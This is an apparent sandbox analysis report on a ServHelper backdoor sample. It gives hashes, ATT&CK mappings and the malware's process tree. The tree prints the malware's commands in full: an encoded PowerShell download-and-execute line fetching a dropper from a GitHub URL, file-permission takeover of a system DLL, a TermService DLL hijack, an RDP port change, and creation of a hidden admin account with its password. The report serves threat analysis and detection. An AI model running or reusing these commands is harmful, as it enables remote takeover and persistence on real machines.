servhelper | 64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07

Analysis

max time kernel
136s
max time network
124s
platform
windows7_x64
resource
win7-20240319-en
resource tags

arch:x64arch:x86image:win7-20240319-enlocale:en-usos:windows7-x64system
submitted
10-04-2024 11:32

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General

Target

64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe
Size

6.7MB
MD5

185a05aefc21ed3f07716a01871e2c5a
SHA1

2e706b6810c21605fbb4b6c32dbdb1e5c1c28f0a
SHA256

64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07
SHA512

458307a3b8f9ecd0bcae80582051835f5b263690d28bc85d4b228b1de7a3cb8146af9e7c139201146a1585a0d11531ef8a4534d00e1517406d8b19ecd835a7d9
SSDEEP

98304:Wrbq9XeGw2WuPDwTTOzAElMLmZ7oo8kTApKGaRqc4O1XujlqHRARZ:WrbcZpPDsTTLmxoQT7RRq4ujlzRZ

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
5	2444	powershell.exe
6	2444	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
2380	icacls.exe
2256	icacls.exe
2832	takeown.exe
1876	icacls.exe
1224	icacls.exe
1972	icacls.exe
1684	icacls.exe
2316	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid	Process
1084
1084

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exe

pid	Process
1224	icacls.exe
1972	icacls.exe
1684	icacls.exe
2316	icacls.exe
2380	icacls.exe
2256	icacls.exe
2832	takeown.exe
1876	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x000b000000015574-106.dat	upx
behavioral1/files/0x000a00000001558c-107.dat	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3WW0W1E5KMLRR7WODYOA.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

Processes:

WMIC.exe

pid	Process
2560	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

powershell.exeWMIC.exeWMIC.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f02d7ad93a8bda01	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
1908	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2640	powershell.exe
2448	powershell.exe
2844	powershell.exe
1008	powershell.exe
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
2444	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid	Process
468
1084
1084
1084
1084

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeRestorePrivilege	1224	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	2560	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2560	WMIC.exe
Token: SeAuditPrivilege	2560	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2560	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2560	WMIC.exe
Token: SeAuditPrivilege	2560	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2964	WMIC.exe
Token: SeAuditPrivilege	2964	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2964	WMIC.exe
Token: SeAuditPrivilege	2964	WMIC.exe
Token: SeDebugPrivilege	2444	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	Process	procid_target
PID 2056 wrote to memory of 2640	2056	64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe	29
PID 2056 wrote to memory of 2640	2056	64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe	29
PID 2056 wrote to memory of 2640	2056	64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe	29
PID 2640 wrote to memory of 2080	2640	powershell.exe	31
PID 2640 wrote to memory of 2080	2640	powershell.exe	31
PID 2640 wrote to memory of 2080	2640	powershell.exe	31
PID 2080 wrote to memory of 2812	2080	csc.exe	32
PID 2080 wrote to memory of 2812	2080	csc.exe	32
PID 2080 wrote to memory of 2812	2080	csc.exe	32
PID 2640 wrote to memory of 2448	2640	powershell.exe	33
PID 2640 wrote to memory of 2448	2640	powershell.exe	33
PID 2640 wrote to memory of 2448	2640	powershell.exe	33
PID 2640 wrote to memory of 2844	2640	powershell.exe	35
PID 2640 wrote to memory of 2844	2640	powershell.exe	35
PID 2640 wrote to memory of 2844	2640	powershell.exe	35
PID 2640 wrote to memory of 1008	2640	powershell.exe	37
PID 2640 wrote to memory of 1008	2640	powershell.exe	37
PID 2640 wrote to memory of 1008	2640	powershell.exe	37
PID 2640 wrote to memory of 2832	2640	powershell.exe	39
PID 2640 wrote to memory of 2832	2640	powershell.exe	39
PID 2640 wrote to memory of 2832	2640	powershell.exe	39
PID 2640 wrote to memory of 1876	2640	powershell.exe	40
PID 2640 wrote to memory of 1876	2640	powershell.exe	40
PID 2640 wrote to memory of 1876	2640	powershell.exe	40
PID 2640 wrote to memory of 1224	2640	powershell.exe	41
PID 2640 wrote to memory of 1224	2640	powershell.exe	41
PID 2640 wrote to memory of 1224	2640	powershell.exe	41
PID 2640 wrote to memory of 1972	2640	powershell.exe	42
PID 2640 wrote to memory of 1972	2640	powershell.exe	42
PID 2640 wrote to memory of 1972	2640	powershell.exe	42
PID 2640 wrote to memory of 1684	2640	powershell.exe	43
PID 2640 wrote to memory of 1684	2640	powershell.exe	43
PID 2640 wrote to memory of 1684	2640	powershell.exe	43
PID 2640 wrote to memory of 2316	2640	powershell.exe	44
PID 2640 wrote to memory of 2316	2640	powershell.exe	44
PID 2640 wrote to memory of 2316	2640	powershell.exe	44
PID 2640 wrote to memory of 2380	2640	powershell.exe	45
PID 2640 wrote to memory of 2380	2640	powershell.exe	45
PID 2640 wrote to memory of 2380	2640	powershell.exe	45
PID 2640 wrote to memory of 2256	2640	powershell.exe	47
PID 2640 wrote to memory of 2256	2640	powershell.exe	47
PID 2640 wrote to memory of 2256	2640	powershell.exe	47
PID 2640 wrote to memory of 820	2640	powershell.exe	48
PID 2640 wrote to memory of 820	2640	powershell.exe	48
PID 2640 wrote to memory of 820	2640	powershell.exe	48
PID 2640 wrote to memory of 1908	2640	powershell.exe	49
PID 2640 wrote to memory of 1908	2640	powershell.exe	49
PID 2640 wrote to memory of 1908	2640	powershell.exe	49
PID 2640 wrote to memory of 1044	2640	powershell.exe	50
PID 2640 wrote to memory of 1044	2640	powershell.exe	50
PID 2640 wrote to memory of 1044	2640	powershell.exe	50
PID 2640 wrote to memory of 2116	2640	powershell.exe	52
PID 2640 wrote to memory of 2116	2640	powershell.exe	52
PID 2640 wrote to memory of 2116	2640	powershell.exe	52
PID 2116 wrote to memory of 1148	2116	net.exe	53
PID 2116 wrote to memory of 1148	2116	net.exe	53
PID 2116 wrote to memory of 1148	2116	net.exe	53
PID 2640 wrote to memory of 1244	2640	powershell.exe	54
PID 2640 wrote to memory of 1244	2640	powershell.exe	54
PID 2640 wrote to memory of 1244	2640	powershell.exe	54
PID 1244 wrote to memory of 1616	1244	cmd.exe	55
PID 1244 wrote to memory of 1616	1244	cmd.exe	55
PID 1244 wrote to memory of 1616	1244	cmd.exe	55
PID 1616 wrote to memory of 296	1616	cmd.exe	56

C:\Users\Admin\AppData\Local\Temp\64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe
"C:\Users\Admin\AppData\Local\Temp\64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dyppuntv.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES54A6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5496.tmp"
      4⤵
      PID:2812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1008
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2832
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1876
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1224
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1972
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1684
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2316
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2380
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2256
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:820
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Sets DLL path for service in the registry
    - Modifies registry key
    PID:1908
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1044
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1148
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1244
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1616
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:296
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3016
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1768
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1728
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:332
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1812
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1264

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Ghasar4f5 /del
1⤵
PID:2312
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Ghasar4f5 /del
  2⤵
  PID:2108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del
    3⤵
    PID:1076

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Mmga0cR8 /add
1⤵
PID:2916
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Mmga0cR8 /add
  2⤵
  PID:2168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Mmga0cR8 /add
    3⤵
    PID:972

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:2020
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:2024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:876

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" UEITMFAB$ /ADD
1⤵
PID:1892
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" UEITMFAB$ /ADD
  2⤵
  PID:800
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UEITMFAB$ /ADD
    3⤵
    PID:1088

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1604
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2360

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Mmga0cR8
1⤵
PID:792
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Mmga0cR8
  2⤵
  PID:2628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Mmga0cR8
    3⤵
    PID:1940

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:964
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2560

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2812
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2964

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2588
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES54A6.tmp

Filesize
1KB

MD5
cf2cab7dcffaccaf17671dd98cbdbaa1

SHA1
2f09c2331fb0b73dcf997a8b4063f3f88e3cb4dc

SHA256
bcfb981a4450142b97bd46570be04a239dda7478221c2cf31558c9a4e9f610b8

SHA512
21ad440c64f37ddb28cc8e91ca0a44306ecfbef2f5b3d0de8e266b3ad94a429f9e250e2c7b3bdbdb8626c7762195ba5f9b13024135641eafe009fd86a6a2fe6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\dyppuntv.dll

Filesize
3KB

MD5
25cabd66b8b0681cbd7ff2082c3d3a87

SHA1
5b046193083896c952a4c1e82c7dc92acd01b307

SHA256
d69bceb548f52aafe641a0149074d32b79198709fba4cee319cdd9b9c29063cc

SHA512
757a85e3234e4686b89173f31a789a9c5a9e0ac5485b1816ca95768f48d5c92e41d7a639bd4bd08c889dbc31ff15770eaebb2d227f7db59e065ce3c6fa5f8eda

Download Submit
C:\Users\Admin\AppData\Local\Temp\dyppuntv.pdb

Filesize
7KB

MD5
8fffd48d30ada20502447247e4c44739

SHA1
08e7697f5d890e135477d6ed0ccf59c9999af46e

SHA256
833a1888de6f49c945e2019d46255280c3d7bac9bd25d144d8931e55b637b9eb

SHA512
5e9bf660e55943a79eab76d06519c1b5cd9a8bade9e2467b091b47405301611e226f13f1f1da83573002b56da8b3228985ab63c9ed4878e010b1273e627a92d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

Filesize
2.5MB

MD5
5db5ffa607b5b5ca17bfd6fb78403660

SHA1
1e793958cb1dd1dc99da4a50beaa2945561b7a16

SHA256
1fa24f444e6b18ab2072201a5d9de4df325830990f073194addb5327137c2e89

SHA512
3d2eab2b02c1d7302b563e3cc232791e242c8d2686a0a4cb58115cdd4ca19f48e390791404f62fef2c0fdbe3e5185b260de6a8fd5ccef2e091d473e0186ffe43

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f88cb7446feef2c2d9222b0a4a9ccec8

SHA1
89f3e88e93e9511cbf2e396474b6a671a1c0958e

SHA256
f3862510dcce3fe0be99faee32320ad9d1d25c52b320e6952ee5779a022752eb

SHA512
33f362533c2b3b4433a19532cf2825ac162e0a84bebcfb3667a01201d4bd57fdb46e01953d17f110ebb48fc5f146c7da47f51a84a91e8d5cce40d0b42e9c79a4

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC5496.tmp

Filesize
652B

MD5
8c337440a7948c1894cc084e20b1e196

SHA1
cae2ad7970cf8f593edaad4fef70129051ad66c7

SHA256
099a37122cd4069039a7c04acc29e44a488f27474ebbd23e6f7fa1a184ca9f63

SHA512
56953c912558f9478e6bc3ee006270d2db4f0bcac9816ae2c7ba4e6d3470293f245d991d949f778a32971bd6d73094fe3a5a1fe920cd754245b5a3ffd0d0c189

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dyppuntv.0.cs

Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dyppuntv.cmdline

Filesize
309B

MD5
05035be1b25bc928a6422a86e8b92250

SHA1
650a1b4928e7d3202dfcf787a8537aadae46632e

SHA256
227132e1a5d005a1c99073810dd0c74577f2fb9c316ba8ed651874608e1919f2

SHA512
3d1814dec1847e22797209a1d974d7cf690e07a5dc36b30035c1d1cde495a6a275bbc2bd9f593a410fd637a4c247f7f40f69ccc79ff45955488137d0fc253ddd

Download Submit
\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
96e498a3833f52ae46bcfdc391f73cf7

SHA1
ecaf72b46cf1cb074bde2914963bb1e61450ca95

SHA256
21a0a297e9a2295f7e32aea08ea74c01199cc57d30b8a177fa99c9cc96a6268b

SHA512
9f273a77d434807138c884cc95deb1cadea1ff6db492839d238759a265f3b0ded318b6af59d0743f8dd1555e968afb1eca9ba92a214ecd247480d2a072c08540

Download Submit
\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
2ee3d03bb1f8bd257235fc70e92b17e1

SHA1
c36482b8f8229578dec1cc687aaf53084cb6d05e

SHA256
b7a9b4269995093c63efe64cb65e4562680af2fdf7c4dfdc235f2eb60c469ff0

SHA512
39f8a42a512e4bfbf84ac3c472bf9444a139da23b7007f57aa68dc9ba9db5466b7f155df18c0a49e3073527763ef459180ab1912e53453d312c17718ab67abea

Download Submit
memory/1008-78-0x000007FEED960000-0x000007FEEE2FD000-memory.dmp

Filesize
9.6MB

Download
memory/1008-82-0x000007FEED960000-0x000007FEEE2FD000-memory.dmp

Filesize
9.6MB

Download
memory/1008-80-0x000000000294C000-0x00000000029B3000-memory.dmp

Filesize
412KB

Download
memory/1008-81-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/1008-79-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/1008-76-0x000007FEED960000-0x000007FEEE2FD000-memory.dmp

Filesize
9.6MB

Download
memory/1008-77-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2056-56-0x0000000041C70000-0x0000000041CF0000-memory.dmp

Filesize
512KB

Download
memory/2056-65-0x0000000041C70000-0x0000000041CF0000-memory.dmp

Filesize
512KB

Download
